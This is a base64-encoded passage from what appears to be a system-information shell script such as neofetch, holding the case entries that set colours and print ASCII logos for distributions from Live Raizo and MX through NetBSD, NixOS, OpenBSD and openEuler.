6OjotLWBgJHtjMn1NTU1NLS4nCiR7YzJ9ICAgICAgICAgICAgJy1NTU1NTU1NTU1NTU1NLScKJHtjMn0gICAgICAgICAgICAgICBgYC06Ojo6Oi1gYApFT0YKICAgICAgICA7OwoKICAgICAgICAiTGl2ZSBSYWl6byIqIHwgIkxpdmVfUmFpem8iKikKICAgICAgICAgICAgc2V0X2NvbG9ycyAzCiAgICAgICAgICAgIHJlYWQgLXJkICcnIGFzY2lpX2RhdGEgPDwnRU9GJwoke2MxfSAgICAgICAgICAgICBgLi4uLi4uYAogICAgICAgIC0rc2htTk1NTU1NTU5taHMvLgogICAgIDpzbU1NTU1NbW1oeXlobW1NTU1NTW1vLQogICAtaE1NTU1kKzouIGAtLS0tYCAuOm9kTU1NTWgtCiBgaE1NTU4rLiAub2ROTU1NTU1NTmRvLiAueU1NTU1zYAogaE1NTWQuIC1kTU1NTW1kaGhkTk1NTU5oYCAubU1NTWgKb01NTW1gIDpNTU1Ocy46c2RkeTotc01NTU4tIGBOTU1NKwptTU1NcyAgZE1NTW8gc01NTU1NTWQgeU1NTWQgIHNNTU1tCi0tLS1gICAuLS0tYCBvTk1NTU1NaCBgLS0tLiAgLi0tLS0KICAgICAgICAgICAgICAuc01NeToKICAgICAgICAgICAgICAgL01NLwogICAgICAgICAgICAgICtkTU1tcy4KICAgICAgICAgICAgIGhNTU1NTU1OCiAgICAgICAgICAgIGBkTU1NTU1NbToKICAgICAgLitzcytzTU55c01Nb29tTWQrc3MrLgogICAgICtNTU1NTU1OYCArTU0vICBoTU1NTU1OcwogICAgIHNNTU1NTU1tLWhOTU1NZC1oTU1NTU1NZAogICAgICA6eWRkaCtgaE1NTU1NTU4gOnlkZHkvYAogICAgICAgICAgICAgLmhNTU1NZDoKICAgICAgICAgICAgICAgYC4uYApFT0YKICAgICAgICA7OwoKICAgICAgICAibXhfc21hbGwiKikKICAgICAgICAgICAgc2V0X2NvbG9ycyA0IDYgNwogICAgICAgICAgICByZWFkIC1yZCAnJyBhc2NpaV9kYXRhIDw8J0VPRicKJHtjM30gICAgXFxcXCAgLwogICAgIFxcXFwvCiAgICAgIFxcXFwKICAgL1xcLyBcXFxcCiAgLyAgXFwgIC9cXAogLyAgICBcXC8gIFxcCi9fX19fX19fX19fXFwKRU9GCiAgICAgICAgOzsKCiAgICAgICAgIk1YIiopCiAgICAgICAgICAgIHNldF9jb2xvcnMgNCA2IDcKICAgICAgICAgICAgcmVhZCAtcmQgJycgYXNjaWlfZGF0YSA8PCdFT0YnCiR7YzN9TU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTk1NTU1NTU1NTQpNTU1NTU1NTU1NTnMuLnlNTU1NTU1NTU1NTU1NbTogK05NTU1NTU1NCk1NTU1NTU1NTU4rICAgIDptTU1NTU1NTU1NTm9gIC1kTU1NTU1NTU0KTU1NTU1NTU1NTU1zLiAgIGBvTk1NTU1NTWgtIGBzTk1NTU1NTU1NTQpNTU1NTU1NTU1NTU1OLyAgICAtaE1NTU4rICA6ZE1NTU1NTU1NTU1NCk1NTU1NTU1NTU1NTU1NaC0gICAgK21zLiAuc01NTU1NTU1NTU1NTU0KTU1NTU1NTU1NTU1NTU1NTitgICAgYCAgK05NTU1NTU1NTU1NTU1NTQpNTU1NTU1NTU1NTU1NTU5NTWQ6ICAgIC5kTU1NTU1NTU1NTU1NTU1NCk1NTU1NTU1NTU1NTW0vLWhNZC0gICAgIGBzTk1NTU1NTU1NTU1NTU0KTU1NTU1NTU1NTU5vYCAgIC1gIDpoLyAgICAtZE1NTU1NTU1NTU1NTQpNTU1NTU1NTU1kOiAgICAgICAvTk1NaC0gICBgK05NTU1NTU1NTU1NCk1NTU1NTU1Ob2AgICAgICAgICA6bU1NTitgICAgYC1oTU1NTU1NTU0KTU1NTU1NaC4gICAgICAgICAgICBgb05NTWQ6ICAgIGAvbU1NTU1NTQpNTU1NbS8gICAgICAgICAgICAgICAgLWhNZC0gICAgICBgc05NTU1NCk1NTnNgICAgICAgICAgICAgICAgICAgIC0gICAgICAgICAgOmRNTU0KTW06ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYG9NTQpNTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NCkVPRgogICAgICAgIDs7CgogICAgICAgICJOYW1pYiIqKQogICAgICAgICAgICBzZXRfY29sb3JzIDEKICAgICAgICAgICAgcmVhZCAtcmQgJycgYXNjaWlfZGF0YSA8PCdFT0YnCiR7YzF9ICAgICAgICAgIC46K3NoeXN5aGhoaHlzeWhzKzouCiAgICAgICAtL3l5eXMgICAgICAgICAgICAgIHN5eXkvLQogICAgIC1zaHkgICAgICAgICAgICAgICAgICAgICAgeWhzLQogICAteWhzICAgICAgICAgICAgICAgICAgICAgICAgICBzaHktCiAgK2h5ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgeWgrCiArZHMgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHNkKwoveXMgICAgICAgICAgICAgICAgICBzbyAgICAgICAgICAgICAgc3kvCnNoICAgICAgICAgICAgICAgICBzbU1NTmR5byAgICAgICAgICAgaHMKeW8gICAgICAgICAgICAgICB5bU1NTU1OTk1NTmhvICAgICAgICBveQpOICAgICAgICAgICAgIHlkTU1NTk5NTU1NTU1NTU1teSAgICAgICBOCk4gICAgICAgICBzaG1NTU1NTk5NTU1NTU1NTU1NTU1NTnkgICAgIE4KeW8gIG9vc2htTk1NTU5OTk5NTU1NTU1NTU1NTU1NTU1NTW1zICBveQpzZCB5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5IGRzCi95cyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBzeS8KICtkcyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgc2QrCiAgK2h5ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgeWgrCiAgIC15aHMgICAgICAgICAgICAgICAgICAgICAgICAgIHNoeS0KICAgICAtc2h5ICAgICAgICAgICAgICAgICAgICAgIHlocy0KICAgICAgIC0veXl5cyAgICAgICAgICAgICAgc3l5eS8tCiAgICAgICAgICAuOitzaHlzeWh5aGh5c3locys6LgpFT0YKICAgICAgICA7OwoKICAgICAgICAiTmVwdHVuZSIqKQogICAgICAgICAgICBzZXRfY29sb3JzIDcKICAgICAgICAgICAgcmVhZCAtcmQgJycgYXNjaWlfZGF0YSA8PCdFT0YnCiR7YzF9ICAgICAgICAgICAgLi8rc3lkZGRkZGRkeXMvLS4KICAgICAgICAuK3ltTk5keW9vby86K29vb3ltTk5teS9gCiAgICAgYC9oTk5oLy5gICAgICAgICAgICAgIGAtK2ROTnk6YAogICAgL21NZC8uICAgICAgICAgIC4rKy46b3kvICAgLittTWQtCiAgYHNNTi8gICAgICAgICAgICAgb01NbWR5Ky4gICAgIGBvTk5vCiBgaE1kLiAgICAgICAgICAgYC95bXkvLiAgICAgICAgICAgOk5Nbwogb01OLSAgICAgICAgICBgL2RNZDogICAgICAgICAgICAgICAvTU0tCmBtTXkgICAgICAgICAgLWRNTitgICAgICAgICAgICAgICAgICBtTXMKLk1NbyAgICAgICAgIC1OTU0vICAgICAgICAgICAgICAgICAgIHlNcwogZE1oICAgICAgICAgbU1NTW86YCAgICAgICAgICAgICAgICBgTk1vCiAvTU0vICAgICAgICAveW1NTU1tLSAgICAgICAgICAgICAgIHNNTi4KICArTW06ICAgICAgICAgLmhNTWRgICAgICAgICAgICAgICBvTU4vCiAgICttTnMuICAgICAgYHlOZC9gICAgICAgICAgICAgIC1kTW0tCiAgICAueU1OczogICAgYC8uYCAgICAgICAgICAgIGAveU5Ob2AKICAgICAgLm9kTk55Ky1gICAgICAgICAgICAuOm9oTk5kLy4KICAgICAgICAgLSt5bU5ObWR5eXl5eXl5ZG1OTm15Ky4KICAgICAgICAgICAgIGAtLy9zc3Nzc3NzLy8uCkVPRgogICAgICAgIDs7CgogICAgICAgICJuZXRic2Rfc21hbGwiKikKICAgICAgICAgICAgc2V0X2NvbG9ycyA1IDcKICAgICAgICAgICAgcmVhZCAtcmQgJycgYXNjaWlfZGF0YSA8PCdFT0YnCiR7YzJ9XFxcXCR7YzF9XGAtX19fX19fLC0tLS1fXwoke2MyfSBcXFxcICAgICAgICAke2MxfV9fLC0tLVxgXwoke2MyfSAgXFxcXCAgICAgICAke2MxfVxgLl9fX18KJHtjMn0gICBcXFxcJHtjMX0tX19fX19fLC0tLS1cYC0KJHtjMn0gICAgXFxcXAogICAgIFxcXFwKICAgICAgXFxcXApFT0YKICAgICAgICA7OwoKICAgICAgICAiTmV0QlNEIiopCiAgICAgICAgICAgIHNldF9jb2xvcnMgNSA3CiAgICAgICAgICAgIHJlYWQgLXJkICcnIGFzY2lpX2RhdGEgPDwnRU9GJwoke2MxfSAgICAgICAgICAgICAgICAgICAgIGAtL29zaGRtTk1OZGh5bys6LWAKJHtjMn15JHtjMX0vcys6LWBgICAgIGAuLTorb3lkTk1NTU1OaHMvLWBgCiR7YzJ9LW0rJHtjMX1OTU1NTU1NTU1NTU1NTU1NTU1NTU5kaG1OTU1NbWRocysvLWAKICR7YzJ9LW0rJHtjMX1OTU1NTU1NTU1NTU1NTU1NTU1NTU1teSs6YAogICR7YzJ9LU4vJHtjMX1kTU1NTU1NTU1NTU1NTU1NZHM6YAogICAke2MyfS1OLyR7YzF9aE1NTU1NTU1NTW1obzpgCiAgICAke2MyfS1OLyR7YzF9LTovKysvOi5gCiR7YzJ9ICAgICA6TSsKICAgICAgOk1vCiAgICAgICA6TXMKICAgICAgICA6TXMKICAgICAgICAgOk1zCiAgICAgICAgICA6TXMKICAgICAgICAgICA6TXMKICAgICAgICAgICAgOk1zCiAgICAgICAgICAgICA6TXMKICAgICAgICAgICAgICA6TXMKRU9GCiAgICAgICAgOzsKCiAgICAgICAgIk5ldHJ1bm5lciIqKQogICAgICAgICAgICBzZXRfY29sb3JzIDQgNyAxCiAgICAgICAgICAgIHJlYWQgLXJkICcnIGFzY2lpX2RhdGEgPDwnRU9GJwoke2MxfSAgICAgICAgICAgLjpveWRtTU1NTU1NbWR5bzpgCiAgICAgICAgLXNtTU1NTU1NTU1NTU1NTU1NTU1NZHMtCiAgICAgICttTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NZCsKICAgIC9tTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTW0vCiAgYGhNTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTXlgCiAubU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1kYAogZE1NTU1NTU1NTU1NTU1NTU1NTU1NTU1OZGhtTU1NTU1NTU1NTWgKK01NTU1NTU1NTU1NTU1ObWh5bysvLS4gICAtTU1NTU1NTU1NTU1NLwptTU1NTU1NTU1kKzouYCAgICAgICAgICAgYG1NTU1NTU1NTU1NTU1kCk1NTU1NTU1NTU1NZHkvLiAgICAgICAgICB5TU1NTU1NTU1NTU1NTU0KTU1NTU1NTU1NTU1NTU1NTmgrYCAgICAgK01NTU1NTU1NTU1NTU1NTQptTU1NTU1NTU1NTU1NTU1NTU1zICAgIC1OTU1NTU1NTU1NTU1NTU1kCitNTU1NTU1NTU1NTU1NTU1NTU4uICBgbU1NTU1NTU1NTU1NTU1NTS8KIGRNTU1NTU1NTU1NTU1NTU1NTXkgIGhNTU1NTU1NTU1NTU1NTU1oCiBgZE1NTU1NTU1NTU1NTU1NTU1NLStNTU1NTU1NTU1NTU1NTU1kYAogIGBoTU1NTU1NTU1NTU1NTU1NTW1NTU1NTU1NTU1NTU1NTU15CiAgICAvbU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1tOgogICAgICArZE1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTWQvCiAgICAgICAgLW9kTU1NTU1NTU1NTU1NTU1NTU1NZG8tCiAgICAgICAgICAgYDoreWRtTk1NTU1ObWh5Ky1gCkVPRgogICAgICAgIDs7CgogICAgICAgICJOaXRydXgiKikKICAgICAgICAgICAgc2V0X2NvbG9ycyA0CiAgICAgICAgICAgIHJlYWQgLXJkICcnIGFzY2lpX2RhdGEgPDwnRU9GJwoke2MxfWA6Ly4KYC95bwpgL3lvCmAveW8gICAgICAuKzouCmAveW8gICAgICAuc3lzKzouYApgL3lvICAgICAgIGAtL3N5cys6LmAKYC95byAgICAgICAgICAgLi9zc3MrOi5gCmAveW8gICAgICAgICAgICAgIC46b3NzKzotYApgL3lvICAgICAgICAgICAgICAgICAuL28vLy86LWAKYC95byAgICAgICAgICAgICAgYC4tOi8vLy8vLy86YApgL3lvICAgICAgICAgICBgLjovLy8vLysrLy8tYGAKYC95byAgICAgICBgLi06Ly8vLysrKysvLWAKYC95byAgICBgLTovLy8vLysrbysvLWAKYC95byBgLS8rbysrK29vbysvLWAKYC9zKzorb29vb3Nzc28vLmAKYC8vK3Nzc3Nzc286LgpgK3N5eXl5KzpgCjorcystCkVPRgogICAgICAgIDs7CgogICAgICAgICJuaXhvc19zbWFsbCIpCiAgICAgICAgICAgIHNldF9jb2xvcnMgNCA2CiAgICAgICAgICAgIHJlYWQgLXJkICcnIGFzY2lpX2RhdGEgPDwnRU9GJwogICR7YzF9ICBcXFxcICBcXFxcIC8vCiA9PVxcXFxfX1xcXFwvIC8vCiAgIC8vICAgXFxcXC8vCj09Ly8gICAgIC8vPT0KIC8vXFxcXF9fXy8vCi8vIC9cXFxcICBcXFxcPT0KICAvLyBcXFxcICBcXFxcCkVPRgogICAgICAgIDs7CgogICAgICAgICJuaXhvc19vbGQiKikKICAgICAgICAgICAgc2V0X2NvbG9ycyA0IDYKICAgICAgICAgICAgcmVhZCAtcmQgJycgYXNjaWlfZGF0YSA8PCdFT0YnCiR7YzF9ICAgICAgICAgIDo6OjouICAgICR7YzJ9Jzo6Ojo6ICAgICA6Ojo6Jwoke2MxfSAgICAgICAgICAnOjo6OjogICAgJHtjMn0nOjo6OjouICA6Ojo6Jwoke2MxfSAgICAgICAgICAgIDo6Ojo6ICAgICAke2MyfSc6Ojo6Ljo6Ojo6CiR7YzF9ICAgICAgLi4uLi4uLjo6Ojo6Li4uLi4gJHtjMn06Ojo6Ojo6Ogoke2MxfSAgICAgOjo6Ojo6Ojo6Ojo6Ojo6Ojo6LiAke2MyfTo6Ojo6OiAgICAke2MxfTo6OjouCiAgICA6Ojo6Ojo6Ojo6Ojo6Ojo6Ojo6OjogJHtjMn06Ojo6Oi4gICR7YzF9Ljo6OjonCiR7YzJ9ICAgICAgICAgICAuLi4uLiAgICAgICAgICAgOjo6OicgJHtjMX06Ojo6OicKJHtjMn0gICAgICAgICAgOjo6OjogICAgICAgICAgICAnOjonICR7YzF9Ojo6OjonCiR7YzJ9IC4uLi4uLi4uOjo6OjogICAgICAgICAgICAgICAnICR7YzF9Ojo6Ojo6Ojo6OjouCiR7YzJ9Ojo6Ojo6Ojo6Ojo6OiAgICAgICAgICAgICAgICAgJHtjMX06Ojo6Ojo6Ojo6Ojo6CiR7YzJ9IDo6Ojo6Ojo6Ojo6ICR7YzF9Li4gICAgICAgICAgICAgICR7YzF9Ojo6OjoKJHtjMn0gICAgIC46Ojo6OiAke2MxfS46OjogICAgICAgICAgICAke2MxfTo6Ojo6CiR7YzJ9ICAgIC46Ojo6OiAgJHtjMX06Ojo6OiAgICAgICAgICAke2MxfScnJycnICAgICR7YzJ9Li4uLi4KICAgIDo6Ojo6ICAgJHtjMX0nOjo6OjouICAke2MyfS4uLi4uLjo6Ojo6Ojo6Ojo6OjonCiAgICAgOjo6ICAgICAke2MxfTo6Ojo6Oi4gJHtjMn0nOjo6Ojo6Ojo6Ojo6Ojo6OjonCiR7YzF9ICAgICAgICAgICAgLjo6Ojo6Ojo6ICR7YzJ9Jzo6Ojo6Ojo6OjoKJHtjMX0gICAgICAgICAgIC46Ojo6Jyc6Ojo6LiAgICAgJHtjMn0nOjo6Oi4KJHtjMX0gICAgICAgICAgLjo6OjonICAgOjo6Oi4gICAgICR7YzJ9Jzo6OjouCiR7YzF9ICAgICAgICAgLjo6OjogICAgICA6Ojo6ICAgICAgJHtjMn0nOjo6Oi4KRU9GCiAgICAgICAgOzsKCiAgICAgICAgIk5peE9TIiopCiAgICAgICAgICAgIHNldF9jb2xvcnMgNCA2CiAgICAgICAgICAgIHJlYWQgLXJkICcnIGFzY2lpX2RhdGEgPDwnRU9GJwoke2MxfSAgICAgICAgICDilpfiloTiloTiloQgICAgICAgJHtjMn3ilpfiloTiloTiloTiloQgICAg4paE4paE4paE4paWCiR7YzF9ICAgICAgICAgIOKWnOKWiOKWiOKWiOKWmSAgICAgICAke2MyfeKWnOKWiOKWiOKWiOKWmSAg4paf4paI4paI4paI4pabCiR7YzF9ICAgICAgICAgICDilpzilojilojilojilpkgICAgICAgJHtjMn3ilpzilojilojilojilpnilp/ilojilojilojilpsKJHtjMX0gICAgICAgICAgICDilpzilojilojilojilpkgICAgICAgJHtjMn3ilpzilojilojilojilojilojilojilpsKJHtjMX0gICAgIOKWn+KWiOKWiOKWiOKWiOKWiOKWiOKWiOKWiOKWiOKWiOKWiOKWiOKWiOKWiOKWiOKWiOKWiOKWmSAke2MyfeKWnOKWiOKWiOKWiOKWiOKWmyAgICAgJHtjMX3ilp/ilpkKJHtjMX0gICAg4paf4paI4paI4paI4paI4paI4paI4paI4paI4paI4paI4paI4paI4paI4paI4paI4paI4paI4paI4paI4paZICR7YzJ94pac4paI4paI4paI4paZICAgICR7YzF94paf4paI4paI4paZCiR7YzJ9ICAgICAgICAgICDiloTiloTiloTiloTilpYgICAgICAgICAgIOKWnOKWiOKWiOKWiOKWmSAgJHtjMX3ilp/ilojilojilojilpsKJHtjMn0gICAgICAgICAg4paf4paI4paI4paI4pabICAgICAgICAgICAgIOKWnOKWiOKWiOKWmyAke2MxfeKWn+KWiOKWiOKWiOKWmwoke2MyfSAgICAgICAgIOKWn+KWiOKWiOKWiOKWmyAgICAgICAgICAgICAgIOKWnOKWmyAke2MxfeKWn+KWiOKWiOKWiOKWmwoke2MyfeKWn+KWiOKWiOKWiOKWiOKWiOKWiOKWiOKWiOKWiOKWiOKWiOKWmyAgICAgICAgICAgICAgICAgICR7YzF94paf4paI4paI4paI4paI4paI4paI4paI4paI4paI4paI4paZCiR7YzJ94pac4paI4paI4paI4paI4paI4paI4paI4paI4paI4paI4pabICAgICAgICAgICAgICAgICAgJHtjMX3ilp/ilojilojilojilojilojilojilojilojilojilojilojilpsKJHtjMn0gICAgICDilp/ilojilojilojilpsgJHtjMX3ilp/ilpkgICAgICAgICAgICAgICDilp/ilojilojilojilpsKJHtjMn0gICAgIOKWn+KWiOKWiOKWiOKWmyAke2MxfeKWn+KWiOKWiOKWmSAgICAgICAgICAgICDilp/ilojilojilojilpsKJHtjMn0gICAg4paf4paI4paI4paI4pabICAke2MxfeKWnOKWiOKWiOKWiOKWmSAgICAgICAgICAg4pad4paA4paA4paA4paACiR7YzJ9ICAgIOKWnOKWiOKWiOKWmyAgICAke2MxfeKWnOKWiOKWiOKWiOKWmSAke2MyfeKWnOKWiOKWiOKWiOKWiOKWiOKWiOKWiOKWiOKWiOKWiOKWiOKWiOKWiOKWiOKWiOKWiOKWiOKWiOKWmwoke2MyfSAgICAg4pac4pabICAgICAke2MxfeKWn+KWiOKWiOKWiOKWiOKWmSAke2MyfeKWnOKWiOKWiOKWiOKWiOKWiOKWiOKWiOKWiOKWiOKWiOKWiOKWiOKWiOKWiOKWiOKWiOKWmwoke2MxfSAgICAgICAgICAg4paf4paI4paI4paI4paI4paI4paI4paZICAgICAgICR7YzJ94pac4paI4paI4paI4paZCiR7YzF9ICAgICAgICAgIOKWn+KWiOKWiOKWiOKWm+KWnOKWiOKWiOKWiOKWmSAgICAgICAke2MyfeKWnOKWiOKWiOKWiOKWmQoke2MxfSAgICAgICAgIOKWn+KWiOKWiOKWiOKWmyAg4pac4paI4paI4paI4paZICAgICAgICR7YzJ94pac4paI4paI4paI4paZCiR7YzF9ICAgICAgICAg4pad4paA4paA4paAICAgIOKWgOKWgOKWgOKWgOKWmCAgICAgICAke2MyfeKWgOKWgOKWgOKWmApFT0YKICAgICAgICA7OwoKICAgICAgICAiTnVydW5uZXIiKikKICAgICAgICAgICAgc2V0X2NvbG9ycyA0CiAgICAgICAgICAgIHJlYWQgLXJkICcnIGFzY2lpX2RhdGEgPDwnRU9GJwoke2MxfSAgICAgICAgICAgICAgICAgICx4YwogICAgICAgICAgICAgICAgOzAwY3hYbAogICAgICAgICAgICAgIDtLMCwgICAueE5vLgogICAgICAgICAgICA6S08nICAgICAgIC5sWHguCiAgICAgICAgICBjWGsuICAgIDt4bCAgICAgY1hrLgogICAgICAgIGNYay4gICAgO2s6Lix4by4gICAgY1hrLgogICAgIC5sWHguICAgIDp4OjowTU5sLGRkLiAgICA6S08sCiAgIC54TnguICAgIGN4OzpLTU1NTU1ObydkeC4gICAgO0tLOwogLmRObC4gICAgY2QsY1hNTU1NTU1NTU1XZCxveCcgICAgJ09LOgo7V0suICAgICdLLC5LTU1NTU1NTU1NTU1NTVdjLkt4ICAgICBsTU8KICdPSzogICAgJ2RsJ3hXTU1NTU1NTU1NTTA6Ong6ICAgICdPSzoKICAgLmtObyAgICAueG8neFdNTU1NTU0wOzpPOiAgICA7S0s7CiAgICAgLmRYZC4gICAuZG8sb05NTU87Y2s6ICAgIDswMCwKICAgICAgICBvTmQuICAgLmR4LDsnY087ICAgIDtLMCwKICAgICAgICAgIG9OeC4gICAgb2trOyAgICA7SzAsCiAgICAgICAgICAgIGxYeC4gICAgICAgIDpLTycKICAgICAgICAgICAgICBjS2snICAgIGNYay4KICAgICAgICAgICAgICAgIDswMDpsWHguCiAgICAgICAgICAgICAgICAgICxrZC4KRU9GCiAgICAgICAgOzsKCiAgICAgICAgIk51VHlYIiopCiAgICAgICAgICAgIHNldF9jb2xvcnMgNCAxCiAgICAgICAgICAgIHJlYWQgLXJkICcnIGFzY2lpX2RhdGEgPDwnRU9GJwoke2MxfSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAuCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC4uLgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLi4uCiAgICAgICAgICAgIC4uLi4gICAgIC4uLi4uLi4uLi0tLgogICAgICAgLi4tKystLS0tLS4uLi4tLSsrKysrKy0tLS4KICAgIC4tKysrKysrLS4gICAuLSsrKysrKysrKysrKy0tLS0tLi4KICAuLS0uLi4gIC4rKy4uLSsrKy0tLi4uLi4tKysrKysrKysrKy0tLi4KIC4gICAgIC4tKy0uIC4qKi0gICAgICAgICAgICAuLi4uICAuLi0rLS0tLS4uCiAgICAgLisrKy4gIC4qKy4gICAgICAgICArICAgICAgICAgICAgLSsrLS0tLS0uCiAgIC4rKysrKy0gICsrLiAgICAgICAgIC4qKy4gICAgIC4uLi4uLSsrKy0tLS0tLgogIC0rKystKysuIC4rLiAgICAgICAgICAuLSsqKiorKyoqKisrLS0rKysrLiAgLgogLSstLiAtLSAgIC0uICAgICAgICAgIC0qLSAuLi4uLi4gICAgICAgIC4uLS0uCi4tLiAuKy0gICAgLiAgICAgICAgICAtKy4KLiAgListICAgICAgICAgICAgICAgICsuCiAgIC0tICAgICAgICAgICAgICAgICAtLQogIC0rLS0tLS4gICAgICAgICAgICAgIC4tCiAgLSsrLS4rLiAgICAgICAgICAgICAgICAuCiAuKysuIC0tCiAgKy4gIC0tLS0uCiAgLiAgLisuIC4uCiAgICAgIC0gIC4KICAgICAgLgpFT0YKICAgICAgICA7OwoKICAgICAgICAiT0JSZXZlbmdlIiopCiAgICAgICAgICAgIHNldF9jb2xvcnMgMSA3IDMKICAgICAgICAgICAgcmVhZCAtcmQgJycgYXNjaWlfZGF0YSA8PCdFT0YnCiR7YzF9ICAgX18gICBfXwogICAgIF9AQEBAICAgQEBAZ18KICAgX0BAQEBAQCAgIEBAQEBAQAogIF9AQEBAQEBNICAgV0BAQEBAQF8KIGpAQEBAUCAgICAgICAgXldAQEBACiBAQEBATF9fX18gIF9fX19fUUBAQEAKUUBAQEBAQEBAQEBqQEBAQEBAQEBAQApAQEBAQCAgICBUQGpAICAgIFRAQEBAQApAQEBAQCBfX19RQEpAICAgIF9AQEBAQApAQEBAQGZNTU1AQGpAamdnZ0BAQEBAQApAQEBAQCAgICBqQGpAXk1XQFAgQEBAQApRQEBAQEBnZ2dAQGZAICAgQEBAQEBATApeQEBAQFdXTU1QICBeICAgIFFAQEBACiBAQEBAQF8gICAgICAgICBfQEBAQGwKICBXQEBAQEBnX19fX19nQEBAQEBQCiAgIEBAQEBAQEBAQEBAQEBAQEBsCiAgICBeV0BAQEBAQEBAQEBAUAogICAgICAgXlRNTU1NVGxsCkVPRgogICAgICAgIDs7CgogICAgICAgICJvcGVuYnNkX3NtYWxsIikKICAgICAgICAgICAgc2V0X2NvbG9ycyAzIDcgNiAxIDgKICAgICAgICAgICAgcmVhZCAtcmQgJycgYXNjaWlfZGF0YSA8PCdFT0YnCiR7YzF9ICAgICAgX19fX18KICAgIFxcLSAgICAgLS8KIFxcXy8gICAgICAgICBcXAogfCAgICAgICAgJHtjMn1PIE8ke2MxfSB8CiB8XyAgPCAgICkgIDMgKQogLyBcXCAgICAgICAgIC8KICAgIC8tX19fX18tXFwKRU9GCiAgICAgICAgOzsKCiAgICAgICAgIk9wZW5CU0QiKikKICAgICAgICAgICAgc2V0X2NvbG9ycyAzIDcgNiAxIDgKICAgICAgICAgICAgcmVhZCAtcmQgJycgYXNjaWlfZGF0YSA8PCdFT0YnCiR7YzN9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIF8KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgKF8pCiR7YzF9ICAgICAgICAgICAgICB8ICAgIC4KJHtjMX0gICAgICAgICAgLiAgIHxMICAvfCAgIC4gICAgICAgICAke2MzfSBfCiR7YzF9ICAgICAgXyAuIHxcIF98IFwtLSsuXy98IC4gICAgICAgJHtjM30oXykKJHtjMX0gICAgIC8gfHxcfCBZIEogICkgICAvIHwvfCAuLwogICAgSiAgfCknKCB8ICAgICAgICBgIEZgLicvICAgICAgICR7YzN9IF8KJHtjMX0gIC08fCAgRiAgICAgICAgIF9fICAgICAuLTwgICAgICAgICR7YzN9KF8pCiR7YzF9ICAgIHwgLyAgICAgICAuLScke2MzfS4gJHtjMX1gLiAgLyR7YzN9LS4gJHtjMX1MX19fCiAgICBKIFxcICAgICAgPCAgICAke2MzfVwgJHtjMX0gfCB8ICR7YzV9TyR7YzN9XFwke2MxfXwuLScgJHtjM30gXwoke2MxfSAgX0ogXFwgIC4tICAgIFxcJHtjM30vICR7YzV9TyAke2MzfXwgJHtjMX18IFxcICB8JHtjMX1GICAgICR7YzN9KF8pCiR7YzF9ICctRiAgLTxfLiAgICAgXFwgICAuLScgIGAtJyBMX18KX19KICBfICAgXy4gICAgID4tJyAgJHtjMX0pJHtjNH0uXy4gICAke2MxfXwtJwoke2MxfSBgLXwuJyAgIC9fLiAgICAgICAgICAke2M0fVxffCAgJHtjMX0gRgogIC8uLSAgIC4gICAgICAgICAgICAgICAgXy48CiAvJyAgICAvLicgICAgICAgICAgICAgLicgIGBcXAogIC9MICAvJyAgIHwvICAgICAgXy4tJy1cXAogLydKICAgICAgIF9fXy4tLS0nXHwKICAgfFwgIC4tLScgViAgfCBgLiBgCiAgIHwvYC4gYC0uICAgICBgLl8pCiAgICAgIC8gLi0uXFwKICAgICAgXFwgKCAgYFxcCiAgICAgICBgLlxcCkVPRgogICAgICAgIDs7CgogICAgICAgICJvcGVuRXVsZXIiKikKICAgICAgICAgICAgc2V0X2NvbG9ycyA0IDcgMQogICAgICAgICAgICByZWFkIC1yZCAnJyBhc2NpaV9kYXRhIDw8J0VPRicKJHtjMX0gICAgICAgICAgICAgICAgIGAuY2MuYAogICAgICAgICAgICAgYGAuY2NjY2NjY2MuLmAKICAgICAgICAgIGAuY2NjY2NjY2NjY2NjY2NjYy5gCiAgICAgIGBgLmNjY2NjY2NjY2NjY2NjY2NjY2NjY2MuYGAKICAgYC4uY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjYy4uYApgLmNjY2NjY2NjY2NjY2NjYyR7YzJ9LysrLyR7YzF9Y2NjY2NjY2NjY2NjY2NjY2MuYAouY2NjY2NjY2NjY2NjY2NjJHtjMn1tTk1NTmRvK29zbyske2MxfWNjY2NjY2NjY2NjLgouY2NjY2NjY2NjYyR7YzJ9Lysrb2RtcysvLyttTU1NTW0vOitzeXNvLyR7YzF9Y2NjYwouY2NjY2NjY2NjJHtjMn15Tk5NTU1zOjo6Lzo6K28rLzoke2MxfWMke2MyfWRNTU1NTW0ke2MxfWNjY2MKLmNjY2NjY2Mke2MyfTorTm1keXloTk5tTk5OZDoke2MxfWNjY2NjJHtjMX0ke2MyfTpveXl5bzoke2MxfWNjY2MKLmNjYyR7YzJ9Om9oZG1Nczoke2MxfWNjY2Mke2MyfSttTk1ObXkke2MxfWNjY2NjY2NjY2NjY2NjY2NjCi5jYyR7YzJ9L05NTU1NTW8vLy8vOiR7YzF9YyR7YzJ9Oi8vLzoke2MxfWNjY2NjY2NjY2NjY2NjY2NjYwouY2Mke2MyfTpzeXlzeU5NTk5OTU55JHtjMX1jY2NjY2NjY2NjY2NjY2NjY2NjY2NjYwouY2NjY2NjY2Mke2MyfStNTU1NTU55JHtjMX1jJHtjMn06LysrKy8ke2MxfWNjY2NjY2NjY2NjY2NjY2MKLmNjY2NjY2NjYyR7YzJ9b2hoaHM